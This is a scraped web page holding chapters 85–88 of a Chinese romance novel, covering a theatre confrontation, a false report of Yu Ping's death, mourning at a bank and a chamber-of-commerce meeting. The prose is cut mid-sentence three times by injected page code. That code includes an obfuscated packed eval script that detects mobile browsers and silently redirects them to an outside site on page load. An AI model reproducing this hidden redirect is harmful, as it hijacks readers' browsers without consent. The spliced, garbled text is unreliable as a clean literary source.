() { $(''.inform'').remove(); $(''#content'').append('' ” 詹兰竹一路小跑过去,装作神色凝重,却因为憋着笑,看上去很痛苦。他一身蹩脚演技,靠一句“五爷”,得了麻霆君的青睐。麻霆君也不计前嫌了,寒暄一阵。 “五爷,你的事情我没有告诉过他。”詹兰竹恳切道,“你和俞平的事情也没有。” 麻霆君失落道:“俞平……” 詹兰竹忙道:“五爷放心,俞平和我们在一起。” “他好吗?”麻霆君紧张道,“谈凭玉有没有对他不好?他怎么样?” “好,都好。四爷叫我留下,其实也是为了照顾他。” 詹兰竹干笑两声,道,“五爷,俞平很记挂你呢!那时谈四喊你进去看他,我听着都着急,你为什么不肯?” 麻霆君双手插在口袋里,踢两脚石子,好不容易抬头道:“谈四是不是已经识破我了?” 詹兰竹没得到谈凭玉嘱咐,不敢贸然开口。麻霆君看他愣着,自嘲一笑,他担忧麻霆君稀奇古怪地想,不敢太拖延,立刻道:“但是——我跟谈四近两年,我认为他不会为难我们。你不如依了他的意思,他叫你做什么,你都先答应下来。” 麻霆君不想他担心,勉强松一口气,却是早不如刚来的时候有精神,紧紧皱着眉。 音乐学院的讲师请他们进去。一路寂寞。才知道是谈凭玉花重金,剧院歇业半月,唯独这场演出。估计是谈家又如日中天了,害怕他人觊觎四爷的位置,暗中埋伏。 麻霆君也怕被谈凭玉埋伏,看这架势,当是高估了自己,哪里有必要兴师动众。 舞台上学生叽叽喳喳地吵,听说要见到谈凭玉,所有人都沸腾了。几个先生喊破嗓子也排不齐队列。 麻霆君选了靠后的座位,看前头一台青春洋溢,只觉得席间更加孤独。眼尖的学生看清他入场,一嗓子“四爷”喊下去,谈家的保镖阔步上前,斥责几句。接着再回来,向麻霆君一亮配枪:“这是四爷的枪。” 麻霆君听不见——不知道俞平有没有上过学堂?俞平会有其他朋友么?枪灰色闪亮的影子在眼前闪过,他不得不抬头,一点温情的时刻也留不住。 保镖道:“先生,倘使您在音乐会期间举动出格,我们随时会开枪。” 麻霆君道:“我什么歪心思都没有,请不用担心。” 保镖多少听过单龙嘱咐,看他垂头丧气,怕他想不开,递来节目单。节目单洋洋洒洒写洋文,看着像英文,却不尽然全是。要是俞平在就好了,顶多挨几句笑话。 他不想自讨伤心,然而边上保镖重兵施压,等待的时间只会更加难熬,晃脚上一双旧皮鞋许久。 剧场不透风,沉闷的空气里混杂一点熏香,整个地把麻霆君搂在怀里,昏昏欲睡。简直像是等待幽会的情人。 他惊醒过来,听心跳得激烈,不得不承认自己对谈凭玉抱有几丝别样的感情,不愿朝情爱上靠,必然是因由俞平—— 前头又有学生大喊:“这一个应当是四爷!四爷来了!” 麻霆君微微一怔,身后的座椅被保镖拉开,摩擦声音都比他来时礼貌。谈凭玉有心情,还不忘道声谢谢。 “去叫他们开始演奏。” 85.剧场 来了!这时候死到临头,竟有另一番畅快。麻霆君往椅背后倒靠,离那枢城的妖怪更近一些。 台上的学生纷纷拔脖子看他们后排,有个保镖前去呵斥几句,好不容易收敛一些,依然三心二意,弦乐进场慢半拍,伴随始终不停歇的细碎讨论声。 麻霆君大字不识一个,却是恭恭敬敬捏着节目单,光是看背影都觉得他可怜。谈凭玉斜斜靠在座椅扶手,冷不防往他椅背上踢一脚。 麻霆君便小心翼翼地往后侧头,剧场里灯光灰暗,纵使四目相对,也不一定看得清谈凭玉尊容。无奈做保镖的比做少爷更不近人情,顷刻请他挨了枪口,顶回原先还算端正的姿势。只好讪讪看着舞台。 看见学生们抽空拍子指着他们,脸上笑容洋溢。麻霆君又听见身后那人轻轻地笑。 “行长等我多久了?” 麻霆君攥着袖口,道:“我等四爷是应该的。” 谈凭玉笑道:“行长真是好脾气,难怪招人喜欢。” 麻霆君不想被他的圈套缠住,局促一笑算作应答,开门见山道:“我知道四爷时间金贵,抽空请我来看音乐会,是有要事吩咐。我做好洗耳恭听的准备了。” “枢城比几年前紧张,要是没有音乐,成魔窟了。他们艺术学院不停课,我很感动,特地来支持学生。” 说到底是他自己孤家寡人几年,看什么都悲惨。又不紧不慢道,“可惜我在枢城的名声已经臭了,要是办慈善晚会,集不到人,面子丢大了,只好来委屈你陪我。” “不委屈。”麻霆君笑得难听,“怎么会委屈?枢城想见四爷一面的,排成队能绕城三圈。四爷肯给我这份荣幸,我还嫌我太怠慢。” 谈凭玉没有回音。 煎熬下紧张放得更大,麻霆君当是自己识错了重点,补充道:“四爷在枢城的名声怎么会臭?大家心里都是景仰你的,景仰过了头,成嫉妒了,所以讲出去不太好听。” “花言巧语。”谈凭玉低声笑着,下决心般,起身道,“还想糊弄我,不知道怎么哄的俞平?” “我——”说这话纯粹是条件反射,麻霆君几乎浑身凝固。 谈凭玉早看穿了! 谈凭玉怎么可能看不穿?麻霆君难得存几分心眼,套郁蕙心的话。连郁蕙心都不清楚谈凭玉贸然回了枢城,这突兀必然是节外生枝,算时间,飞机一落地就往银行赶。 说什么?麻霆君脑海一片空白。 会不会死?银行一群人嗷嗷待哺,叫他好死不如赖活着,占了谈凭玉的便宜,能求得平稳便是上上签,他却不想抵赖了。早知道谈凭玉要动真格,枪口抵在背后,麻霆君原以为自己害怕,但好像是坦荡的。死了也无所谓。 “四爷,不瞒您说。” 麻霆君声音轻,倒是十分笃定,“俞霆是我的假名。我正是四爷要找的麻霆君。” 谈凭玉闻言,往前靠了靠,双手撑在麻霆君的椅背,半个身子倾来头顶,实际上是一个凌空的搂抱。麻霆君倒是不敢轻举妄动,盼他慷慨一回,清算时候抖露一些俞平的讯息。 他们从后往前挑位置,几乎靠着墙坐下,离舞台太远,学生们挤在一起,一只指甲盖覆一排,像是八音盒里的场景。只看得清他们打的暖色灯,连剧场里都不大凄凉。 说话声和乐器声混杂在一起,没个主题,纷乱不堪。萦绕二人之间的沉默更加浓烈。 “麻霆君。”好久没报这个名字出口,谈凭玉有些生疏,上下唇瓣打架。 他原以为麻霆君要当一辈子的缩头乌龟,再不济是被富贵迷了眼,来投他四爷的怀抱。不论麻霆君做什么,他欺骗在先,都不愿责怪。却是空虚地抱持几分不切实际的希望,不至于多么轰轰烈烈,哪怕是做样子,也想看见麻霆君是有担当的。 幸而他压得准,这才有些要久别重逢的势头出来。 “唉呀,久仰大名?”他笑得有几分真心。 麻霆君顿时如坠冰窖:听不出谈凭玉有半分的怒意,一定又被谈凭玉玩弄股掌之间了! 他不知道谈凭玉什么底细,唯有坦白从宽:“我和俞平确实有过一段情缘。我知道他和你什么关系,是我强迫他的,和他无关。” 谈凭玉心情颇好,闲闲地道:“还有呢?” 麻霆君心一硬,又道:“他在鹭镇无依无靠的,过得艰难,我能为他提供吃住,他一来二去便答应我了。请四爷理解,这一切并不是俞平的过错。” “还有呢?” “四爷,是我品行不端,您怎么处置我都可以。我只有一个要求:我想见俞平一面。” 怎么还是俞平?哪里有俞平!谈凭玉毫无还手之力,几乎自己吃起自己的醋。 单龙同他出谋划策,叫他快刀斩乱麻地了解了。麻霆君的爱太包容,还没有生意头脑,他微微透露出的谈家权势滔天,真有个人物被他庇护,纵使受豪门委屈,也比在银行饥一顿饱一顿强一万倍,足够麻霆君安下心来。兴许一笑泯恩仇,不再打扰了。 计划好今天一切真相大白,等了有多久?早在鹭镇,他就期盼上了,这时箭在弦上,不是更如他的意?心里却无端起疑,麻霆君爱的到底是什么?是一个名义,还是一张皮囊,即便麻霆君正蒙在鼓里,而 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15346003|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他就在身后,也能说些冠冕堂皇的话语? 他到底还爱不爱麻霆君?学生们恰好换了曲子,前三个音节足够他判断出是他们第一场约会,他在法餐厅误打误撞买了的一支曲。微微打了个寒噤。 麻霆君也抖,不知是紧张抑或激动作祟。 谈凭玉用目光抚了会他,一时间恶从心生,故意道:“俞平,俞平。俞平有什么好的?” 麻霆君迫切地道:“四爷我对不起你!但我从来没有对不起俞平,我对他是真心的。” 谈凭玉道:“你对他是真心,我没有么?” 麻霆君道:“四爷知道我嘴笨,我不是这个意思。我什么责都愿意担,只求四爷让我见他一面。” 谈凭玉道:“你想和我谈条件?” “请四爷不要误会。”麻霆君知晓自己情急过了头,顿了顿,道,“我是在商量……是在征求四爷的同意。” 谈凭玉嗤笑道:“商量?你有什么筹码和我商量?我叫你来给我做情人,顶俞平的班,你肯吗?” 他搭上麻霆君的肩膀,顺手捏了捏。麻霆君身子更加僵硬了,却坚持道:“四爷,我那银行小有起色,不如全还给你了。” “哦,我哥哥不要的东西,不但当个宝贝,还想丢给我。” “我还有贝琴公寓一套住宅。” 他说这话也没什么底气,脑海中全然浮现着胖子瘦子风餐露宿的情景。不过他们能多一份担保,有麻公馆遮风避雨,他是凶多吉少了。便又道,“还有一些积蓄。” 谈凭玉道:“你和我谈钱,会不会太不自量力了?你是没钱还是没见过钱,俞平好歹是我们家的人,怎么被你说得这么贱?” 麻霆君道:“四爷,我的命都是你的,当牛做马,要杀要剐,我都愿意。” 谈凭玉笑道:“我要你的命有什么用?” 麻霆君答不上来。谈凭玉也不知道自己做得是不是太过火,抵着翡翠扳指往他肩胛骨上敲。 “霆君……” 尾音拖得生生缠在麻霆君肩颈,谈凭玉啧地一声咬断,又曲曲折折地说道,“这么窝囊。” 再看前面这人背影,宽阔过了头,简直把台上八音盒横劈成两半,漏一点灯光出来。谈凭玉心里是高兴的,却管自己冷笑,又道:“你之前骗我你是鳏夫,那亡夫必然是俞平了。” 麻霆君才道:“是。” “要是你们见上面,我的人被你拐跑了,你说怎么办?” “我只想看他平安……” 谈凭玉阴恻恻道:“他不平安。行长一语中的,俞平当真已经死了。” 86.亡夫 麻霆君一愣。趁间隙的功夫,谈凭玉一双手顺在他的脖颈,扪他下巴上的胡渣。没套在俞平的糖衣里,所以叫他胆战心惊。 他心虚之余却有几分兴奋。俞平出走的三年,他没考虑过情爱之事,此刻被谈凭玉束缚着,竟贪婪起一个拥抱,一个吻。 怎么能沦落至对谈凭玉动心?他身体敏锐与思绪,唯独心里一惊。又听谈凭玉开口—— “俞平陪我从香岛回家,路上风浪大,我当他被卷进海里,伤心极了,谁知道他命多么大。再见到他,我很高兴,没有多问,也知道他在外面受苦,这几年想尽办法补偿。” 谈凭玉说得慢,像是在讲别人的故事,“香岛太闷,我不想委屈了他,带他回来散心。那天他主动提议陪我来银行,一见到你,立刻变了样。” 麻霆君不敢吭声,半是等谈凭玉再吐点俞平出来。 谈凭玉环抱着他的脖颈,脸埋在他的头上,举止十分亲密,更像毒蛇吐信子了。又道:“他无论如何都想请我放了你——可你知道的,我谈凭玉向来待人不薄。” 麻霆君心里刀绞搬难受,喘不上气,又不好真的一言不发,忙应一声附和。 谈凭玉微笑着,两只手臂收束得更紧,笑道:“我答应了。我还答应放了他。” 麻霆君不受控制,激动道:“四爷!” 谈凭玉又道:“商场难行,免不了信天时地利。我向来不喜欢强迫别人,何况棒打鸳鸯。但我在他身上费的心血不少,白白放他自由了,对我来说太不公平?” 麻霆君要虎口夺食,只能附和:“是,是。” “我叫他最后陪我一次,第二天我就放了他。” 谈凭玉掐他脸上的肉,怜惜道,“霆君,我问你,我是不是很君子?” 麻霆君道:“四爷,您简直……” “你忘了?他没这福分,第二天就断气了。”摸得出麻霆君浑身僵硬,他心满意足,往后跌在椅子上。 演奏渐入佳境,他闭着眼欣赏许久,却嗅出前头死气沉沉。 方才的敢作敢当哪里去了?他眼神屏退一旁保镖,绞尽脑汁,再道:“他自己在外面偷男人,下流成这样,说出去还是我们家跑出来的,丢死人。” 他不会学闲人聚集讲八卦,照猫画虎。但是自己咒自己的事情太晦气,言语间有太多保留,否则还能更加恶心。 麻霆君自然不为所动,他便一脚踹在麻霆君的椅背:“麻霆君!” 这时候连椅背都踹不动了——急得谈凭玉向前凑:“还坐得住,你不恨我?” 台上演奏的到底都是学生,早发现后排一出好戏,趁着曲子轮换间的休息,都来讨论他们。剧场里又黑暗又模糊,架望远镜都不一定看清。只识出后面两个人影交错。 谈凭玉使劲晃着麻霆君的肩膀。 麻霆君抑制着小声抽泣。一开口,哭腔明显太多,断断续续地道:“我恨我自己……是我太没本事,没保护好他。” “哭什么?别哭了!”谈凭玉错愕间有些忍不住发笑,紧急调整了语气,道,“快回头和我打一架,我们两清了。” 麻霆君道:“我做什么都没有用,俞平已经死了。” “是了!”谈凭玉道,“我可是把你最喜欢的俞平弄死了,你就知道哭?” 麻霆君双手掩面,道:“我是个没本事的东西,动粗也解决不了问题。” 以往真没发现他这般沉稳!硬来不行,谈凭玉来软的,好言劝道:“说心里话,你这么英俊,同俞平也般配。我知道你恨我,我当然有愧。但是人死不能复生,不如你揍我一顿?” 麻霆君油盐不进,哭得诚然太激烈,保镖犹豫再三,递来一块新的手帕子。谈凭玉摸索着为他擦眼泪,他倒是心安理得地接下,咬着手帕子一角,话匣子徒然开了:“两年前……俞平回鹭镇看过我。” 去鹭镇的是他谈凭玉!不知道被谁看见了,鹭镇上只知道他是俞平。 “我和俞平定好一起来枢城。后来他被你们接走,我确实担惊受怕。我若是被你们清算,也认了。祸不及家人,我特地立了墓碑,为的是和他们划清界限。” 这些谈凭玉都知道。两年前他盯着墓碑失神,不比麻霆君这时候好受。旧愁涌上心头,想多怨他几句,看他肩膀一下一下地耸,不自然噤了声。 “我给俞平留了信,就压在坟墓旁的石头下。他若是翻开看,一定知道我平安无恙了。” 这话直把矛头朝谈凭玉身上戳,还当是他自己对麻霆君不上心。他立刻破口骂,道:“谁有闲心翻你墓碑的石头?” 麻霆君坚持道:“俞平爱我,俞平一定会这么做的!” “乱讲!”谈凭玉怒火攻心,乱了阵脚,昏头之中剩了最后几分理智,道,“你和我讲这个干什么?我叫你回头,堂堂正正比试一场!” 麻霆君却道:“我爱俞平,你也对他有些感情,哪怕我觉得,我们不应该四爷,我们是知音!” 谈凭玉道:“你这样怎么对得起他?” 麻霆君不想和他唇枪舌战,任由他唾骂。倒是旁若无人地扯着嗓子,越哭越凶。 毕竟多少有着昔日的感情,他回来也是真的爱麻霆君,看见麻霆君如此无助,谈凭玉,无可奈何,小猫似的蹲在他面前,摸麻霆君的头。 麻霆君伏在膝盖上,只会更加伤心,哽咽道: “四爷,我对不起你,我更加对不起俞平。”麻霆君低声恳求道,“您给我个痛快吧。” 分明睁开眼睛便能知道谁对不住谁——谈凭玉推搡着他的肩膀:“别哭了,我求求你。” 事已至此,谈凭玉还觉得是场儿戏,眼睛一睁便结束了。抱持最后一丝希望,道:“你死都死了,不好奇我长什么样?” 这话一脱口就后悔,毕竟从来都是别人哄的他。 麻霆君乱听人家道听途说,只知道他面容毁得难看,本就伤心,索性不恭维了,道:“我死都要死了,阴间的牛头马面数不完,不差四爷你这眼了。” 谈凭玉一拳砸在他手臂上:“麻霆君!” 麻霆君更不愿面对。深深垂下头去。 “麻霆君,你是真傻还是装傻,看清楚了,我就是俞平!” 台上正奏了一首进行曲,一声声颤音盖着谈凭玉的咬字,管他有多少怒不可遏。他含恨向舞台上一瞪,白净面孔一闪,学生们纷纷被他吸引了来,胆子大的伸手打着招呼。 “四爷!”此起彼伏在进行曲里,纯真得未经污染,叫他撒不出气。 他实在无计可施,几步跨到保镖跟前:“叫詹兰竹进来!” 詹兰竹在外头和单龙数麻雀,被保镖提进来,掀挡风帘见到两人,啼笑皆非。谈凭玉扭来头,道:“兰竹你来得好,这麻霆君脑子锈完了!你认识他比我久,快想个办法叫他看我。” 詹兰竹是少数得到兰香尊敬的,心肠一等一的好,轻轻拍着麻霆君的背,道:“五爷,你听凭玉的,睁眼睛吧。” 谈凭玉黑脸在一旁,不信麻霆君真能被他唤起来。麻霆君倒是遂他的意,哭得上气不接下气:“兰竹,我伤心!” 詹兰竹拿他没办法,最后只能苍白劝道:“你别哭了。” 麻霆君摇摇头:“我是个混账。” 话里话外的意思,谈凭玉觉得自己才是名正言顺的混账。 他为麻霆君预备的礼物盒子一层层地拆,没曾想到麻霆君半途而废,还在这临门一脚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“去那里干什么?去银行。” 他口中的银行唯独一家,无需多语。司机调转方向,朝江南开。 麻霆君到银行更早,坐在摇椅上,热可可喝不起,只捧一杯热水。颜青坐他身边,口型不断变换着。公告栏里不再是“谈四少爷于近日失踪”,是邻里街坊写的小广告,新店开业,旺铺出租,都来他的地盘上张罗。 哪里像个能赚钱的银行的样子?滨江一带街道的活动中心都不如他的银行有烟火气。谈凭玉隔着玻璃橱窗向里看,见到茶几上有一瓶干花,是不是洋桔梗?不是也得是,他就喜欢洋桔梗。麻霆君爱他,他也爱麻霆君—— 此刻的笃定,比起慰藉,更像一类自嘲。他站在外头,几次想敲门进去,碰到木门又退缩了。 麻霆君抬头来看他一眼,四目相对。 他吃一惊,不由自主地闪至门口,心头怦怦跳。许久悄悄偷窥一眼,却看麻霆君脸上苦笑。 “我是出幻觉,看见俞平了。” 颜青皱眉道:“刚说俞平死了,又说看见他。我看你总归疯得不轻,最近提防你家胖子瘦子,哪天一个变黑一个漂白,把你命勾走了。” 麻霆君低声道:“命不久矣也好,我倒是想去和俞平团聚。” “你肯定上天堂,俞平这种狐狸精是下地狱的,你怎么见他?” “我也要下地狱。” “你给我省省。” 谈凭玉贴在门背后,身子直挺挺地撑着,想骂他的话噎在喉咙里,还是不忍心。 87.吊唁 那天过后,谈凭玉大受打击,茶饭不思,大家都担心他,又都不太敢来贴身照顾,一行人便灰溜溜回了谈公馆。 坊间才正式放出消息:谈四爷回枢城了。 他不在的日子,谈皎当家,专门有一批人欺负她不是男丁,即便后来都被她加倍奉还了,余波未散,照样心怀鬼胎;近来没有节日,又都说长姐如母,谈皎与谈凭玉自小便相依为命,他不是来为亲姐姐出气还能是什么?一时间人人自危,见了面不肯好好寒暄,讲暗号。 江南一批野心家倒也想惶恐,无奈间隔一条江,资本不够,一听谈四爷回来,纷纷放礼炮庆祝,祈祷能被他垂怜一眼。 张灯结彩之中,平渝银行竟挂了白布吊唁。 栀子花街道有看不惯麻霆君作为的,抓紧时间泼脏水:俞霆行长城府深,指桑骂槐。 原以为传到滨江能有反响。集结谈公馆前的一批人士,只嫌栀子花街道太偏,拟倡议书,要求把栀子花街道划出枢城。闹得所有人都不乐意。 其间麻霆君没表过一次态。却看着憔悴不少。 谈凭玉说是不想再打扰,数他第一个放心不下,派安保去银行门口驻扎。 这天轮到单龙,偷闲去边上吃早点的功夫,眼睁睁看胖子瘦子,一个搬黑铜盆,一个抱银元宝,哼哧哼哧出了门。 人没死呢,纸钱都烧上了!谈家讲究风水不是一天两天,单龙无法容忍这般晦气场景,冲去门口,几脚踩灭了火。 “你们怎么能这么晦气?”单龙咒骂道,“烧纸钱不找个荒郊野岭,非要在银行门口?银行门口要是能招鬼,活该亏到现在!” 胖子忽然爆发,推搡着单龙结实的身子,道:“你们不要欺人太甚了!人是你们害死的,我们行长真心实意,吊唁都不让?” 瘦子也道:“有这么霸道就别浪费在自己人身上,赶紧去攻打太平洋,让全世界都姓谈!” 这两人一人一句,险些用口水把单龙淹没了。单龙没想过他们能反击,失了招架之力,目瞪口呆,眼睁睁看着麻霆君被颜青搀扶出来。 麻霆君虚弱道:“四爷没打算放过我?” 单龙看得害怕,道:“四爷是来关心你的。” 此时的关心难免像是讽刺,他也清楚是谈凭玉恃宠而骄的不合时宜,又憋了几句:“嗳,人生虽是坎坷,也不好轻言放弃,还是身体最重要……我说得对吗?” “霆君你别听谈家派人妖言惑众,你振作!” 颜青朝麻霆君大喊一声,忙把他的耳朵捂上,朝单龙道,“大哥,你看他这副样子,死了都是解脱。就让四爷准许他自生自灭吧——我要是四爷,高兴死了,放一年鞭炮。” 单龙皱眉道:“四爷也够伤心的,哪有你说得高兴?” 颜青道:“伤心什么?俞平归他折磨死了,我们霆君也苟延残喘。两败俱伤,他还想怎么样?” 单龙气血上涌,却不敢讲实情,只道:“我们四爷哪是你说得这么坏?我还想来问你们,你们想怎么样!” 他们吵得热闹,殊不知栀子花街道最会养闲人看客,乌泱泱一片来帮腔。 “四爷欺负我们行长算什么英雄豪杰?” “有钱了不起?少欺人太甚!” 许是麻霆君平时正派惯了,单龙被围得水泄不通。无奈是舌战群儒没个嗓门,也不好丢了谈家的面子。另在车上养精蓄锐的兄弟们,见情况不对,都跃跃欲试,单龙却怕他们搅混水,招手示意,再独自承受着。 麻霆君倒不是得理不饶人,不愿给单龙难堪,主动疏散起围观群众。颜青不肯帮忙,在一旁生闷气。 单龙装作没有身处漩涡中心,对一切白眼置之不理。肩上忽然逢人友好地拍了拍,看模样算有学问,衣冠楚楚。 他看出单龙窘相,给不肯走的围观者散烟,好不容易得了个清净,道:“您是四爷边上的?鄙人甄展,在商会见过您,不知道怎么称呼?” 单龙觉得他面熟,勉强和他笑:“单龙。” 甄展笑道:“龙哥,今天这么冷,都是给老板干活的,犯不着把自己身体伤了。不如我出钱请兄弟们下酒楼,暖和身子。” 单龙重新挺起背。方才受一劫,简直不知道他是给谈公馆卖命,又说是“无功不受禄”,他警惕一眼,道:“你来银行做什么,和行长偷鸡摸狗?” 甄展道:“我是来陪俞行长去商会认证的。” 他说一半,被颜青捉来说小话:“甄老板,不缺这天的。” 甄展只当他起纨绔脾气,要请麻霆君去花天酒地。便苦口婆心道:“阿霆是不太符合入会标准,可他是个人才,该进商会。秋会时候我举荐他,四爷亲自点头认可过。现在正式批名额,叫他再去露一面。” 颜青回头瞄一眼麻霆君,低声道:“俞平死了。” 甄展愣道:“俞平死了?” 唯一一个明事理的——单龙叫道:“没死!” 颜青颇有怨念看一眼单龙,又道:“谈公馆一直派人来银行门口盯着,你信他们贼喊捉贼?又要去见谈四,不知道他们打的什么算盘。” 单龙听不惯,道:“区区一个行长,把自己当盘菜了,值得四爷大费周章?” 颜青把甄展拐得更远了,道:“他们卑鄙惯了!不知道装什么正人君子。我不想拿我兄弟的命来赌。” 甄展一时不知道听谁的话,皮笑肉不笑。三人间持续斗着气,直到麻霆君裹了件厚外套,出面道:“不打紧,我和你们走。” 颜青忙道:“别想不开!” 单龙心满意足拉来麻霆君,道:“我们四爷公私分明,也就你们最拎不清。” 他顺手把甄展也拐了,一手捉一个,往车上走,道:“反正去见四爷,我在四爷边上混一官半职,叫我代劳,不是更方便?” 唯独颜青干着急,趁汽车发动的功夫,冲去车旁扒车门,道:“别信他们虚与委蛇,快下车!” “没事的。”麻霆君轻声道,“我认命了。” 一路无言。 单龙好人做至商会门口,没护送他们上楼。他看二人都背影逐渐模糊,灵光一现,开车窗吼一嗓子,把甄展唤了来:“你和那开银行的关系好?” 甄展老实道:“我和阿霆认识时间不久,论情谊,比不上颜先生,但是难得的投缘。” 想来是“君子之交淡如水”,单龙上下扫他一眼,忽而嗤笑道:“那你劝劝他,叫他别服丧了,赶紧去陪我们四爷。” 甄展错愕道:“陪四爷?” “四爷看上他了……”单龙到底咬不惯男人耳朵,吐不出太多字,也是点到为止,看甄展步履僵硬地离开。 上至会长办公室门口,甄展的忧虑迟来地发酵,挡着麻霆君不让进,见边上有空余小房间,立刻带麻霆君钻了过去,严肃道:“你老实交代,你、俞平、谈凭玉,你们三个是什么关系?” 麻霆君不回避,道:“俞平原先是跟谈四的……” “你有种,戴绿帽子戴到谈四头上!” “那时候都说谈四死了,我怎么知道他死而复生?” “也是。”甄展点过头,脸上愈发忧心忡忡,犹豫一阵,道,“龙哥悄悄告诉我,谈四看上你了——听过一招名为声东击西么,莫非俞平是个诱饵,谈四的心思实则在你身上?” 麻霆君道:“他都有俞平了,怎么会看上我?” 俞平究竟是什么绝代佳人?一个谈凭玉、一个麻霆君,都拜倒在他的风华之下。然而枢城的佳人,甄展单认定两位,也正是被俞平迷倒的这两位——便道:“我是正儿八经枢城人,比谈四年纪还大几岁。就算他金屋藏娇,不可能一点风声都没有。你有没有俞平的相片,我暗地托人打听?” 俞平正是拍照那天不告而别的,麻霆君被戳了伤心处,连甄展也不想搭理。 甄展猜是他们苟且见不得光,再打探道:“没有相片……你记得俞平长什么样?” “苍白,比我矮一点,美丽。” 麻霆君支吾片刻,补充道,“他有一双狐狸眼,很吸引人。” 按他的描述,甄展却只看见谈凭玉——三年前谈凭玉无端失踪,谈家一开始的惶急不像假,后来虎头蛇尾,讲他去东洋。其中杳无音讯的一段时日,谁说得准他究竟在哪? 甄展心里琢磨着,隐隐约约有了答案,便急忙把麻霆君推到屋里一探究竟。 “四爷,人来了!”甄展 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15378031|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把麻霆君往里赶,自己身手矫健出了门。 深秋天阴,办公室里窗帘大敞,依旧昏暗。谈凭玉面朝落地窗坐,剩一个椅背旋给麻霆君。 麻霆君正在身后。谈凭玉手上攥着“俞霆”的简历,看罗列着的一条条介绍,言之凿凿,若不是知根底,真以为有这么一个人;可他自己以前作俞平,不也是如此?一模一样的路数,不免觉得讽刺,冷笑一声,道:“要我叫你俞霆还是麻霆君?” 麻霆君道:“四爷,我自愿退出。” 谈凭玉等他来见自己的面,拖延着道:“商会是什么地方,由你说了算?当初你请你朋友来开后门,不知道会长是我?” 麻霆君道:“我想开银行,是为了让俞平过得更好。前阵子接近你,其实也是想见俞平——俞平走了,我没什么追求,更加不提进商会了。” 这话听得叫人哭笑不得,谈凭玉佯装动怒,一把将几页纸拍到办公桌上。却听见身后脚步声急,他难得见麻霆君冲动,立刻转椅子回去,只见一个仓皇逃跑的背影。 麻霆君立刻想逃跑。 他害怕见到谈凭玉。一方面是多一事不如少一事,谈家自小到大死守着谈凭玉的隐私,纵使近来有宽限,轮得到他的头上?兴许谈凭玉的面孔是慢性毒,他有对俞平的爱作防护罩,兴许依然在劫难逃; 另一方面,谈凭玉早把他温水煮青蛙了。俞平失踪三年,他再爱俞平,坚守的不过是自己的底线。他与谈凭玉相处不多,却平白无故感受得出另一类安心。 这几年大家陆陆续续来吹耳旁风,他对谈凭玉的感情本就紊乱,一经诱导,只会更加明晰——对一个阴云之下的魔头,杀人凶手,又有夺夫之仇的动心,他宁死都不愿承认!顷刻夺门而出。 谈凭玉才意识到情况紧急,喊道:“麻霆君!” 他哪知道麻霆君心情复杂,挣扎得太徒劳,根本没有回音。 门几乎是贴着谈凭玉的鼻尖甩上的,谈凭玉再要追出去,门竟生根似的打不开——麻霆君难得有一回头脑,不忘甄展的叮嘱,“四爷看上自己了”,便无论如何不能落在谈凭玉手里,死死堵着门。 谈凭玉力气不及他,猛拍门板,失态地道:“麻霆君,你给我开门!” 麻霆君道:“四爷说什么,我依什么,我不成了四爷的狗?” 这笨狗!谈凭玉一脚踹在门上,道:“你有本事一辈子守着门!” 麻霆君嚷道:“过去的事情是我不对,别的我拿不出,就一条命,要杀要剐,四爷说了算!” 这时候撂什么狠话?听得谈凭玉啼笑皆非,道:“发什么瘟,我要你的命干什么?” 麻霆君自然不肯讲原由,死死守着门。商会安保看够热闹,姗姗来迟,一左一右擒了他。 “四爷,这狂徒已经拿下了,听您的意思发配。” 他开一丝门缝,看麻霆君落魄,像是看流浪狗在雨里。简直想出面狠狠吻上麻霆君一顿,无奈身份泾渭分明,麻霆君也没半点屈服他的意思,便装着不悦,道:“叫他快滚了。” 麻霆君扭头道:“四爷,我敬你是个人物!我向你保证:我们井水不犯河水。” 安保不容他放肆,骂骂咧咧盖过他发毒誓,把他架出商会。 谈凭玉在办公室里休息许久,外头窃窃私语没有断过。他再我行我素也坐不住,扭开房门,见到乌泱泱一片眼睛。 他强作镇定,道:“看什么?” 纵使相处了一阵子,大家不怕他的为人处世,倒是怕他狐狸精成人,都不说话。有商会里的老人,目睹会长轮换了几届的,才敢自来熟地搭他的腔:“难得被人撒泼到头上,四爷脾气这么好,还坐得住?” 谈凭玉不自然挤了个笑。 “我说是甄展不好,识人不准。先前他也乱举荐人,虽是真瞎猫遇上死耗子不少,这回的俞霆,一无是处的,也就相貌不错。” 谈凭玉才道:“阿霆是和我有些私人恩怨,但是他可取之处也不少。评定入会资格的时候,你们公事公办,不用考虑我。” 那人笑道:“他是什么路子,敢得罪四爷?” “敢吧。”谈凭玉笑得难看,轻声道,“没办法,谁叫我喜欢他。” 88.下作 入冬了。 平渝银行开季末总结会。纵使行长牺牲了青春、爱情、高攀作谈四奶奶的机会(这点郁蕙心不大认可),使得今秋稳中有进,难得赚了点钱,却预想的出其后多么辉煌。 